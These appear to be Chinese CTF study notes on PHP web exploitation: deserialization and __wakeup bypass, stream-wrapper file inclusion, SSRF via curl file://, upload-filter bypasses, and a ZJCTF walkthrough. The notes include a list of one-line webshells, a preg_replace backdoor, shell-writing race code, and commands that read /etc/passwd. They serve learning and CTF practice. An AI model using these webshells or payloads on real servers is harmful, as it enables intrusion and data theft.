__wakeup 函数绕过

PHP 有个 Bug,如果反序列化出现问题,会不去执行 __wakeup 函数,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class xctf
{
public $flag = "111";

public function __wakeup()
{
exit('bad requests');
}
}

//echo serialize(new xctf());
echo unserialize($_GET['code']);
echo "flag{****}";
?>

使用这个 payload 绕过 __wakeup 函数

1
2
# O:4:"xctf":1:{s:4:"flag";s:3:"111";}
http://www.example.com/index.php?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,因此将1改成2就会产生报错,导致不会去执行 __wakeup 函数,从而绕过该函数。

文件包含

1
http://10.2.1.1:20770/index.php?page=upload

这种 url 很容易就能想到可能是文件包含或者伪协议读取

1
http://10.2.1.1:20770/index.php?page=php://filter/read=convert.base64-encode/resource=upload

命令执行

反引号 `

反引号 ` 可以调用 shell_exec 正常执行代码

1
`$_GET['v']` 相当于 shell_exec($_GET['v'])

preg_replace()
触发条件:

第一个参数需要e标识符,有了它可以执行第二个参数的命令第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,举个例子:

1
2
3
4
5
// 这样是可以执行命令的
echo preg_replace('/test/e', 'phpinfo()', 'just test');

// 这种没有匹配上,所以返回值是第三个参数,不会执行命令
echo preg_replace('/test/e', 'phpinfo()', 'just tesxt');

我们可以构造这样的后门代码

1
2
@preg_replace("//e", $_GET['h'], "Access Denied");  
echo preg_replace("/test/e", $_GET["h"], "jutst test");

当访问这样这样的链接时就可以被触发

1
http://localhost:8000/testbug.php?h=phpinfo();

伪协议

php://filter

读取文件

1
2
/lfi.php?file=php://filter/convert.base64-encode/resource=flag.php
/lfi.php?file=php://filter/read=convert.base64-encode/resource=flag.php

php://input

写入文件, 数据利用 POST 传过去

1
/test.php?file=php://input

data://

将 include 的文件流重定向到用户控制的输入流

1
/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpO2V4aXQoKTsvLw==

可以用于控制 file_get_contents 的内容为用户输入的流

1
2
3
$file=$_GET['file'];
$data = @file_get_contents($a,'r');
echo $data;

phar://

发现有一个文件上传功能,无法绕过,仅能上传jpg后缀的文件。与此同时,无法进行文件包含截断。allow_url_include=on 的状态下,就可以考虑phar伪协议绕过。

写一个shell.php文件,里面包含一句话木马。然后,压缩成xxx.zip。然后改名为xxx.jpg进行上传。最后使用phar进行包含

这里的路径为上传的 jpg 文件在服务器的路径

1
/index.php?id=phar://路径/xxx.jpg/shell

zip://

上述 phar:// 的方法也可以使用 zip://

然后吧1.php文件压缩成zip,再把zip的后缀改为png,上传上去,并且可以获得上传上去的png的地址。

1.zip文件内仅有1.php这个文件

1
2
3
4
/php?file=zip://1.png%231.php  

// 也可以尝试不改名为png,直接使用zip上传测试一下
/php?file=zip://1.zip%231.php

序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字

魔术方法

  • __construct()
    具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
  • __destruct()
    析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
    new出一个新的对象时就会调用__construct(),而对象被销毁时,例如程序退出时,就会调用__destruct()

__sleep()__wakeup()

图片

__toString()

图片

echo或者拼接字符串或者其他隐式调用该方法的操作都会触发

__set()__get()__isset()__unset()

图片

__invoke()__call()

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

在对象中调用一个不可访问方法时,__call() 会被调用

序列化细节

序列的含义

例如:O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}

O代表对象;4代表对象名长度;2代表2个成员变量;其余参照如下

图片

public、protected、private下序列化对象的区别

php v7.x反序列化的时候对访问类别不敏感

  • public变量
    直接变量名反序列化出来
  • protected变量
    \x00 + * + \x00 + 变量名
    可以用S:5:"\00*\00op"来代替s:5:"?*?op"
  • private变量
    \x00 + 类名 + \x00 + 变量名

反序列化中s和S的区别

如果类型是S,会调用以下函数,简单来说就是将\解释成十六进制,来转成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
static zend_string *unserialize_str(const unsigned char **p, size_t len, size_t maxlen)
{
size_t i, j;
zend_string *str = zend_string_safe_alloc(1, len, 0, 0);
unsigned char *end = *(unsigned char **)p+maxlen;

if (end < *p) {
zend_string_efree(str);
return NULL;
}

for (i = 0; i < len; i++) {
if (*p >= end) {
zend_string_efree(str);
return NULL;
}
if (**p != '\\') {
ZSTR_VAL(str)[i] = (char)**p;
} else {
unsigned char ch = 0;

for (j = 0; j < 2; j++) {
(*p)++;
if (**p >= '0' && **p <= '9') {
ch = (ch << 4) + (**p -'0');
} else if (**p >= 'a' && **p <= 'f') {
ch = (ch << 4) + (**p -'a'+10);
} else if (**p >= 'A' && **p <= 'F') {
ch = (ch << 4) + (**p -'A'+10);
} else {
zend_string_efree(str);
return NULL;
}
}
ZSTR_VAL(str)[i] = (char)ch;
}
(*p)++;
}
ZSTR_VAL(str)[i] = 0;
ZSTR_LEN(str) = i;
return str;
}

反序列化的利用

__wakeup()函数失效引发漏洞(CVE-2016-7124)

  • 介绍:
    调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,前会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行
    php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)
  • 测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php 
    class Test{
    public $cmd;
    function __wakeup(){
    $this->cmd = '';
    }
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }

    $test = $_GET['cmd'];
    $test_n = unserialize($test);
    ?>
    执行反序列化的时候,调用 __wakeup 方法会将 $cmd 参数置为空,在程序退出时执行 __destruct 方法时也就执行不了任何命令
  • 因此可以利用 CVE-2016-7124
    首先得到一个正常的序列化结果:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php 
    class Test{
    public $cmd;
    function __wakeup(){
    $this->cmd = '';
    }
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }
    $test = new Test();
    $test->cmd = "whoami";
    echo serialize($test);

    O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
    然后构造对象属性个数的值大于真实的属性个数的 payload:
    O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

传进去就能成功执行命令

__wakeup()函数失效引发漏洞(CVE-2016-7124)

使用+绕过正则

例:

1
2
3
preg_match('/[oc]:\d+:/i', $var)
O:4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:16:"f15g_1s_here.php";}

Session序列化问题

PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式

图片

  • session.serialize_handler=php(默认)
    只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 username|s:4:"test";
  • session.serialize_handler=php_serialize
    对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。
    比如:传入数据 username=test,那么变成 session 后存储为 a:1{s:8:"username";s:4:"test";}
  • session.serialize_handler=php_binary
    键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
    比如:传入数据 username=test,那么变成 session 后存储为 8 代表的 ascii 字符退格 usernames:4:"test";
    1
    2
    3
    4
    5
     <?php
    ini_set('session.serialize_handler', '处理方法');
    session_start();
    $_SESSION['username'] = 'test';
    ?>
    漏洞原理:
  • 反序列化存储的 $_SEESION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,便可以伪造任意数据
  • 例如:
    在存储 $_SEESION 时处理方法为 php_serialize,传输的数据为 username=|O:4:"test":0:{},则最后存储为 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}
    而在取用 $_SESSION 时的处理方法为 php,此时键:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那么反序列话后便构造出了一个 test 对象。
    参考文章:PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

利用 16 进制绕过过滤

  • 原理:
    将示意字符串的s改为大写S时,其值会解析 16 进制数据
    例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
    可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}
  • 测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php 
    class Test{
    public $cmd;
    function __destruct(){
    echo '<br>';
    system($this->cmd);
    }
    }
    function check($data){
    if(stristr($data, 'cmd')!==False){
    echo("1111!");
    }
    else{
    return $data;
    }
    }

    $test = $_GET['cmd'];
    $test = check($test);
    $test_n = unserialize($test);
    ?>
    当传入O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}时,可以发现无法绕过过滤函数
    修改为大写S时,可以看到成功 RCE

continue

构建test文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$url = $_GET['url'];
$info = parse_url($url);
//假设www.site.com为白名单网站
if($info['host'] != 'www.site.com')
{
    echo '目标网址不合法';
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
echo $data;

上面这段代码我们知道,主要是进行网址过滤,如果用户输入的网址不是规定的网址,则服务器不会发起请求。
这段代码的目的是,防止用户输入其它恶意数据,造成攻击,比如:

http://www.site.com/test.php?url=http://10.0.0.16 –攻击者尝试进入内网

http://www.site.com/test.php?url=http://www.hack.com –攻击者尝试访问不合法网址

但这里有两个小问题:

  1. parse_url原理
    parse_url只是负责字符串解析,它不保证你的协议真伪,这里我们不用http协议,而使用一个根本不存在的协议abc测试:
1
2
3
$url = 'abc://www.baidu.com/test';
$info = parse_url($url);
var_dump($info);

输出结果为:
array(3) { [“scheme”]=> string(3) “abc” [“host”]=> string(13) “www.baidu.com" [“path”]=> string(11) “/test” }

  1. curl支持的协议很多

curl是基于libcurl实现的,支持的协议非常多。

所以我们可以发现两处问题

  1. 白名单只是检测了host,但没有检测协议
  2. curl除了支持http协议,还支持file协议
    这里给出sample

http://url/test.php?url=file://www.site.com/etc/passwd

phpcurl识别出来这是个file协议,会忽略后面的host www.site.com,直接去读取文件/etc/passwd

写在前面:

文件上传漏洞常用于获取webshell,从而取得对目标网站(系统)的控制权。要获取shell,需要: 1.知道上传后文件所保存位置(不知道那就猜、爆破,一般是能知道的) 2.上传后文件的名字(是否被更改)

一句话木马(webshell):

1
<?php eval($_POST['passwd']);?>

一句话木马原理及不同类型:https://baike.baidu.com/item/%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC/1845646?fr=aladdin

毫无过滤

  • 直接上传即可获取webshell
    两种校验方式

  • 客户端校验(javascript校验)

  • 服务端校验
    客户端校验:

绕过方法

  • 抓包改包

  • 禁用JS
    禁用JS

  • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验

  • 火狐插件-yescript2

  • 老版本可以使用WebDeveloper
    抓包改包

  • 用bp抓包后直接改后缀名
    绕过js过滤:

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传jpg、png、gif结尾的图片噢!";
alert(errMsg);
return false;
}
}

绕过方式:

  • 在控制台重新定义函数 function checkFile(){} 回车即可(注:需要在未触发该函数前)
  • 将一句话木马文件后缀改为.png .jpg .gif后,点击上传。用BurpSuite截断,然后将文件名再替换成.php
    后端过滤:

利用解析漏洞绕过

* `IIS`解析漏洞

IIS 6.0在解析文件时存在以下两个解析漏洞。
当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当做asp文件来解析。
例如:建立文件夹parsing.asp,在parsing.asp文件夹内新建一个文本文档test.txt,其内容为<%=NOW()%>,然后在浏览器内访问。
“NOWO”是ASP提供获取当前时间的函数,TXT是文本文档格式,IIS是不会去解析此类文件的,应该会直接显示其内容,而在parsing.asp文件夹中,却被当作ASP脚本来解析。
当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行,如:新建文件test.asp;1.jpg,内容为<%=NOW()%>。
* Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断,如xxx.php.owf.rar ,”.owf”和”.rar”这两种后缀是apache解析不了的,apache就会把xxx.php.owf.rar解析成php。
怎么去判断是不是合法的后缀就是这个漏洞利用关键,测试时把常见的后缀都写上,去测试是不是合法,任意不识别的后缀,逐级向上识别。
有些程序开发人员在上传文件时,判断文件名是否是PHP、ASP、ASPX、ASA、CER、ASPX等脚本扩展名,如果是,则不允许上传,这时攻击者就有可能上传1.php.rar等扩展名来绕过程序检测,并配合解析漏洞,获取到WebShell。
* Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。

猜测过滤规则绕过:

  • 文件后缀名黑名单:

  • 大小写绕过 Php、PhP···

  • 利用能被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps

  • 配合Apache的.htaccess文件上传解析,该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

    1
    2
    3
    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>

    假如不能写<?时使用伪协议

    1
    2
    AddType application/x-httpd-php .123
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.123"
  • .user.ini上传
    条件:

  • 1、服务器脚本语言为PHP

  • 2、服务器使用CGI/FastCGI模式

  • 3、上传目录下要有可执行的php文件
    优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

刷题记录:[SUCTF 2019]CheckIn

  • 使用00截断(需要magic_quotes_gpc=Off)
    基于一个组合逻辑漏洞

    1
    2
    3
    4
    name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
    type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)

    在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

  • 超长文件名截断上传(windows 258byte | linux 4096byte)
    使用./或.

  • shtml
    当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持
    <!--#exec cmd="cat /etc/passwd"-->

  • MIME类型绕过

    BurpSuite抓包,更改content-type请求头为image/gif、image/png、image/jpg

  • 图片马内容检测
    根据过滤内容来调整,例如<?被过滤,调整为<% eval request("123")%>等等

  • 文件内容头检测
    上述方法均失效时可以考虑一下网站是否检测了文件头

解决方法1:添加图片文件头到木马文件

GIF89a? <% eval request("123")%>

文件头对照参考:https://blog.csdn.net/rrrfff/article/details/7484109

解决方法2:将一张图片与一句话木马文件结合

1.记事本打开图片,在末尾或者之中添加一句话木马 2.使用命令将图片与木马文件结合

https://jingyan.baidu.com/article/a65957f42c7c1224e67f9bb1.html

1
2
例子:GIF89a
<?php phpinfo(); ?>
  • 竞争上传
    文件上传后,网站系统会对文件进行恶意代码检测,若是存在恶意代码,则会删除该文件

若在这个操作的时间之内,访问该上传的文件,利用之间的时间差来获取shell

1
2
3
4
5
<?php
$file = 'web.php';
$shell = '<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
?>

.user.ini 利用 (注:上传目录下要有可执行的php文件,一般是自带的,而不是自己上传的,要是可以的话,还需要这么多骚操作干什么)
大佬教程:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

例子

https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

  • Apache的.htaccess
    教程:https://www.cnblogs.com/hmbb/p/9689436.html

  • php崩溃导致tmp文件保留
    当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

  • 过滤<?php
    js标签绕过,需要php小于7.0

1
2
3
4
5
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>

PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持
常见的一句话木马(PHP):

  • GIF89a? <script language="php">eval($_REQUEST[shell])</script> 比较好用
  • <script language=php>system("ls")</script>
  • <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入"h=@eval($_POST[c]);"
  • <?php $c='ass'.'ert';${c}($_POST[4]);?>

常见文件名对应的MIME类型:

* 扩展名:gif MIME类型:image/gif
* 扩展名:png MIME类型:image/png
* 扩展名:jpg MIME类型:image/jpg
* 扩展名:js MIME类型:text/javascript
* 扩展名:htm MIME类型:text/html
* 扩展名:html MIME类型:text/html

参考网站:

https://blog.csdn.net/qq_42636435/article/details/88096844

https://xz.aliyun.com/t/7531

https://www.cnblogs.com/20175211lyz/p/10989689.html

https://blog.csdn.net/weixin_39190897/article/details/85334893

分类:

1
2
3
4
5
6
7
8
9
10
11
12
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

PHP.ini(配置文件)
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include

allow_url_fopen:默认值是ON,允许url里的封装协议访问文件

allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件

file:

用于访问本地文件,不受allow_url_fopen,file://还经常和curl函数(SSRF)结合在一起,受allow_url_include影响

file://主要用于访问文件(绝对路径和网络路径)

比如:

url?file=file:///etc/password

php://:

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用

php://作用为访问输出和输入

php://filter

经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.

php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。

读取源代码并进行编码然后输出

比如:

url?cmd=php://filter/read=convert.base64-encode/resource=文件名(php文件需要用base64编码)

1
php://filter/convert.base64-[encode/decode]/resource=xxx

这是使用的过滤器是convert.base64-encode.它的作用就是读取文件的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据
说明:

resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流

read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

1
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx

filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中
php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

需要开启allow_url_include

执行post数据中的代码:

比如:

url?cmd=php://input

post数据:

注意:

当enctype=”multipart/form-data”的时候,php://input是无效的

data://

当php>=5.2.0,可以使用data://,来传递相应格式的数据。通常用来执行php代码。一般用base64编码传输,需满足allow_url_fopenallow_url_include同时开启才能使用

比如:

通过data://text/plain协议来进行漏洞利用

data://text/plain;base64,base编码字符串

很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

1
2
3
4
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

phar://

PHP 归档,常常跟文件包含,文件上传结合着考察。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。

1
phar://test.[zip/jpg/png…]/file.txt

其实可以将任意后缀名的文件(必须要有后缀名),只要是zip格式压缩的,都可以进行解压,因此上面可以改为phar://test.test/file.txt也可以运行。
当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用

1
nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php

zip://,bzip2://, zlib://

在双OFF的时候也可以用,

1
zip://test.zip%23file.txt

和phar://一样用于读取压缩文件,不过对于”zip://test.zip#file.txt”中的”#”要编码为”%23”.因为url的#后的内容不会被传送
zip://:

1
2
file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23

bzip2://:

1
2
3
file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://:

1
2
3
file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

例子:

[ZJCTF 2019]NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

代码让我们get传参text,file,password
经过观察可以确定text要传入一个文件,且文件内容为:welcome to the zjctf,file传入一个文件名。然后通过include($file)包含,password暂且不知

伪协议第一次利用:

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法

官方实例:

1
2
echo file_get_contents('http://www.xxx.com/aa.png', 'r');
// 将会在该页面中输出图片

可以发现,file_get_contents的$filename参数不仅仅可以是本地文件路径,也可以是一个网络路径即url,所以我们可以考虑使用伪协议

  • 姿势一:data://协议利用
    1
    2
    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 -----> welcome to the zjctf
  • 姿势二:php://协议利用
    php://input
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST数据:welcome to the zjctf



POST请求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

welcome to the zjctf





回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40

<br><h1>welcome to the zjctf</h1></br>

伪协议第二次利用:

1
2
3
4
5
6
7
8
9
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

这里把flag给过滤了,肯定不是直接包含
注释里有一个useless.php,打开看下,但直接访问是不能打开的,尝试用伪协议php://filter

?file=php://filter/read=convert.base64-encode/resource=useless.php

这里顺便把前面的第一个判断用data协议绕过,进入判断语句中

所以payload:

1
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

能得到useless.php的base64编码内容
解码后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

这一段代码的意思是:获取这个$file参数代表的文件并且输出出来,注意前者的file参数和这里flag类的file参数并不一样,两者位于不同的作用域!
根据注释提示我们应该是要包含flag.php就可以获得flag,所以Flag类中的file应该为flag.php,再加上前面如果包含了useless.php,整体代码就为如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

$password = unserialize($password);中,unserialize()函数是一个反序列化函数。不熟悉序列化与反序列化的可以百度一下。
若我们将一个序列化后的对象即一串字符串传给$password,那么我们会得到一个实例对象,我们便不难想象,若是我们将一个useless.php中的Flag对象(其中$file参数的值为flag.php)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php中的代码

构造类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

所以payload

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

到这里整理下思路:

  • 首先,利用data伪协议,text参数便可以绕过if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),顺利进入判断语句内
  • 然后,包含了useless.php文件,从而在原代码中引入了Flag对象,只有如此,在password参数反序列化才可输出flag.php文件的内容
  • 传入的password参数经过反序列化后,得到一个$file=flag.php的Flag对象,同时执行了该Flag对象内部的__tostring()方法,输出flag.php的内容,从而得到flag
    注意:需要查看网页源代码方可见到flag
    文件包含是否支持%00截断取决于:
1
PHP版本<=5.2 可以使用%00进行截断。

参考文章:

php伪协议实现命令执行的七种姿势

CTF中常用的php伪协议利用

浅析PHP伪协议在CTF的应用

PHP伪协议在CTF中的应用